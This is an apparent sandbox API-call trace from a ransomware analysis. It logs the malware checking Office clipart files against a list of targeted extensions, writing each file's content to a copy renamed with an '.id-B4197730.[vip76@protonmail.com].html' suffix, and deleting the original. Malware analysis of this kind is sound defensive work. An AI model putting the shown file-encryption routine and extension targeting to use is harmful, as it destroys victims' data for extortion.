	[0071.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.651] lstrlenW (lpString=".jpg") returned 4
	[0071.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.651] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.651] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0071.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.652] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7540) returned 1
	[0071.652] CloseHandle (hObject=0x384) returned 1
	[0071.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220
	[0071.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.654] GetLastError () returned 0x0
	[0071.654] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1d74, lpOverlapped=0x0) returned 1
	[0071.655] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1d80, lpOverlapped=0x0) returned 1
	[0071.656] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.657] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.657] SetEndOfFile (hFile=0x350) returned 1
	[0071.657] CloseHandle (hObject=0x350) returned 1
	[0071.658] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.658] SetEndOfFile (hFile=0x384) returned 1
	[0071.659] CloseHandle (hObject=0x384) returned 1
	[0071.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1
	[0071.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.659] lstrlenW (lpString=".doc") returned 4
	[0071.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.659] lstrlenW (lpString=".docx") returned 5
	[0071.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.659] lstrlenW (lpString=".pdf") returned 4
	[0071.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.659] lstrlenW (lpString=".xls") returned 4
	[0071.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.659] lstrlenW (lpString=".xlsx") returned 5
	[0071.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.660] lstrlenW (lpString=".ppt") returned 4
	[0071.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString=".zip") returned 4
	[0071.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.660] lstrlenW (lpString=".rar") returned 4
	[0071.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString=".bz2") returned 4
	[0071.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString=".7z") returned 3
	[0071.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString=".dbf") returned 4
	[0071.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString=".1cd") returned 4
	[0071.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString=".jpg") returned 4
	[0071.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.660] lstrlenW (lpString=".doc") returned 4
	[0071.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString=".docx") returned 5
	[0071.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.660] lstrlenW (lpString=".pdf") returned 4
	[0071.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.660] lstrlenW (lpString=".xls") returned 4
	[0071.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.660] lstrlenW (lpString=".xlsx") returned 5
	[0071.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.661] lstrlenW (lpString=".ppt") returned 4
	[0071.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.661] lstrlenW (lpString=".zip") returned 4
	[0071.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.661] lstrlenW (lpString=".rar") returned 4
	[0071.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.661] lstrlenW (lpString=".bz2") returned 4
	[0071.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.661] lstrlenW (lpString=".7z") returned 3
	[0071.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.661] lstrlenW (lpString=".dbf") returned 4
	[0071.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.661] lstrlenW (lpString=".1cd") returned 4
	[0071.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0071.661] lstrlenW (lpString=".jpg") returned 4
	[0071.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.661] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.661] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0071.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.662] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6632) returned 1
	[0071.662] CloseHandle (hObject=0x384) returned 1
	[0071.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220
	[0071.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.662] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.662] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.663] GetLastError () returned 0x0
	[0071.663] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x19e8, lpOverlapped=0x0) returned 1
	[0071.664] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0071.665] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.666] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.666] SetEndOfFile (hFile=0x350) returned 1
	[0071.666] CloseHandle (hObject=0x350) returned 1
	[0071.667] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.667] SetEndOfFile (hFile=0x384) returned 1
	[0071.668] CloseHandle (hObject=0x384) returned 1
	[0071.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1
	[0071.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.669] lstrlenW (lpString=".doc") returned 4
	[0071.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.669] lstrlenW (lpString=".docx") returned 5
	[0071.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.669] lstrlenW (lpString=".pdf") returned 4
	[0071.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.669] lstrlenW (lpString=".xls") returned 4
	[0071.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.669] lstrlenW (lpString=".xlsx") returned 5
	[0071.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.669] lstrlenW (lpString=".ppt") returned 4
	[0071.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.669] lstrlenW (lpString=".zip") returned 4
	[0071.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.669] lstrlenW (lpString=".rar") returned 4
	[0071.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.669] lstrlenW (lpString=".bz2") returned 4
	[0071.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.669] lstrlenW (lpString=".7z") returned 3
	[0071.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.669] lstrlenW (lpString=".dbf") returned 4
	[0071.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString=".1cd") returned 4
	[0071.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString=".jpg") returned 4
	[0071.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString=".doc") returned 4
	[0071.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString=".docx") returned 5
	[0071.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.670] lstrlenW (lpString=".pdf") returned 4
	[0071.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString=".xls") returned 4
	[0071.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.670] lstrlenW (lpString=".xlsx") returned 5
	[0071.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.670] lstrlenW (lpString=".ppt") returned 4
	[0071.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString=".zip") returned 4
	[0071.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.670] lstrlenW (lpString=".rar") returned 4
	[0071.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString=".bz2") returned 4
	[0071.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.670] lstrlenW (lpString=".7z") returned 3
	[0071.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.670] lstrlenW (lpString=".dbf") returned 4
	[0071.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.671] lstrlenW (lpString=".1cd") returned 4
	[0071.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0071.671] lstrlenW (lpString=".jpg") returned 4
	[0071.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.671] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.671] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0071.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.671] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2108) returned 1
	[0071.671] CloseHandle (hObject=0x384) returned 1
	[0071.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220
	[0071.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.672] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.672] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.672] GetLastError () returned 0x0
	[0071.672] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0071.673] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x840, lpOverlapped=0x0) returned 1
	[0071.674] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.674] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.675] SetEndOfFile (hFile=0x350) returned 1
	[0071.675] CloseHandle (hObject=0x350) returned 1
	[0071.675] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.675] SetEndOfFile (hFile=0x384) returned 1
	[0071.676] CloseHandle (hObject=0x384) returned 1
	[0071.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1
	[0071.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.677] lstrlenW (lpString=".doc") returned 4
	[0071.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.677] lstrlenW (lpString=".docx") returned 5
	[0071.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.677] lstrlenW (lpString=".pdf") returned 4
	[0071.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.677] lstrlenW (lpString=".xls") returned 4
	[0071.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.677] lstrlenW (lpString=".xlsx") returned 5
	[0071.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.677] lstrlenW (lpString=".ppt") returned 4
	[0071.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.677] lstrlenW (lpString=".zip") returned 4
	[0071.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.677] lstrlenW (lpString=".rar") returned 4
	[0071.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.677] lstrlenW (lpString=".bz2") returned 4
	[0071.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.677] lstrlenW (lpString=".7z") returned 3
	[0071.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString=".dbf") returned 4
	[0071.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString=".1cd") returned 4
	[0071.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString=".jpg") returned 4
	[0071.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString=".doc") returned 4
	[0071.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString=".docx") returned 5
	[0071.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.678] lstrlenW (lpString=".pdf") returned 4
	[0071.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString=".xls") returned 4
	[0071.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.678] lstrlenW (lpString=".xlsx") returned 5
	[0071.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.678] lstrlenW (lpString=".ppt") returned 4
	[0071.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.678] lstrlenW (lpString=".zip") returned 4
	[0071.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.678] lstrlenW (lpString=".rar") returned 4
	[0071.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString=".bz2") returned 4
	[0071.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.678] lstrlenW (lpString=".7z") returned 3
	[0071.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.679] lstrlenW (lpString=".dbf") returned 4
	[0071.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.679] lstrlenW (lpString=".1cd") returned 4
	[0071.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0071.679] lstrlenW (lpString=".jpg") returned 4
